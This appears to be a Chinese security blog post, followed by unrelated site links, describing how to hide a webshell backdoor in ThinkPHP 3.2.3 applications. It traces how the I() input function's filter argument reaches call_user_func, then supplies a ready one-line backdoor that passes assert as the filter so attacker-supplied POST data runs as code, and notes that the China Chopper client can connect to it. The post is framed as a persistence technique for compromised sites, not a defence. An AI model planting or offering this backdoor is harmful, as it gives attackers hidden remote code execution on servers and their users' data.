ThinkPHP留后门技巧
90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。
thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。
let me see see I函数的代码:
<?php
function I($name, $default = '', $filter = null, $datas = null)
{
...
if ('' == $name) {
// 获取全部变量
$data = $input;
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
if ($filters) {
if (is_string($filters)) {
$filters = explode(',', $filters);
}
foreach ($filters as $filter) {
$data = array_map_recursive($filter, $data); // 参数过滤
}
}
} elseif (isset($input[$name])) {
// 取值操作
$data = $input[$name];
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
if ($filters) {
if (is_string($filters)) {
if (0 === strpos($filters, '/')) {
if (1 !== preg_match($filters, (string) $data)) {
// 支持正则验证
return isset($default) ? $default : null;
}
} else {
$filters = explode(',', $filters);
}
} elseif (is_int($filters)) {
$filters = array($filters);
}
if (is_array($filters)) {
foreach ($filters as $filter) {
if (function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
} else {
$data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
if (false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
...
return $data;
}
I函数的第三个参数是$filter,作用是对变量的过滤。
新版本(3.2.3)中,$filter可以传入两种4种值:
- 一个过滤函数(字符串)
- 一些过滤函数组成的字符串,其间用“|”分割
- 一些过滤函数的字符串组成的数组
- 以“/”开头的正则表达式
可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars
以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:
<?php
if (0 === strpos($filters, '/')) {
if (1 !== preg_match($filters, (string) $data)) {
// 支持正则验证
return isset($default) ? $default : null;
}
}
如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。
而回调函数部分,是我们留后门的关键。核心是这一段:
<?php
if (is_array($filters)) {
foreach ($filters as $filter) {
if (function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); // 参数过滤
} else {
$data = filter_var($data, is_int($filter) ? $filter : filter_id($filter));
if (false === $data) {
return isset($default) ? $default : null;
}
}
}
}
如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。
我们跟进array_map_recursive函数:
<?php
function array_map_recursive($filter, $data)
{
$result = array();
foreach ($data as $key => $val) {
$result[$key] = is_array($val)
? array_map_recursive($filter, $val)
: call_user_func($filter, $val);
}
return $result;
}
明显是一个递归执行的过程,最后调用的是call_user_func 。
还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。
所以,我们只需要随意找个controller,在可访问的方法中插入:
I('post.90sec', '', I('get.i'));
如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。
我就拿thinkphp默认的IndexController下的index方法示例:
如下即可执行任意代码:
一个回调后门,菜刀也可以连接。
- PDF.NET的SQL日志 ASP.net 路径问题 详解
- 【自然框架】稳定版beta1——源码下载,Demo说明
- TOP语句放到表值函数外,效率异常低下的原因分析
- 常见.NET功能代码汇总 (3) 33,彻底关闭Excel进程
- Vue.js 入门指南之“前传”(含sublime text 3 配置) 1,下载安装Node.js2,配置Vue环境3,Vue初探4,配置sublime Text
- JavaScript的“原型甘露”
- JSP开发过程遇到的中文乱码问题及解决方法
- 求连续操作(登录)数量(次数)最大的记录(用户)
- 使用Topshelf创建自宿主的Windows服务程序
- 如何用ORM支持SQL语句的CASE WHEN?
- 条件表达式的短路求值与函数的延迟求值
- 使用CTE解决复杂查询的问题
- WinDbg调试.NET程序入门
- Release编译模式下,事件是否会引起内存泄漏问题初步研究 疑问:
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC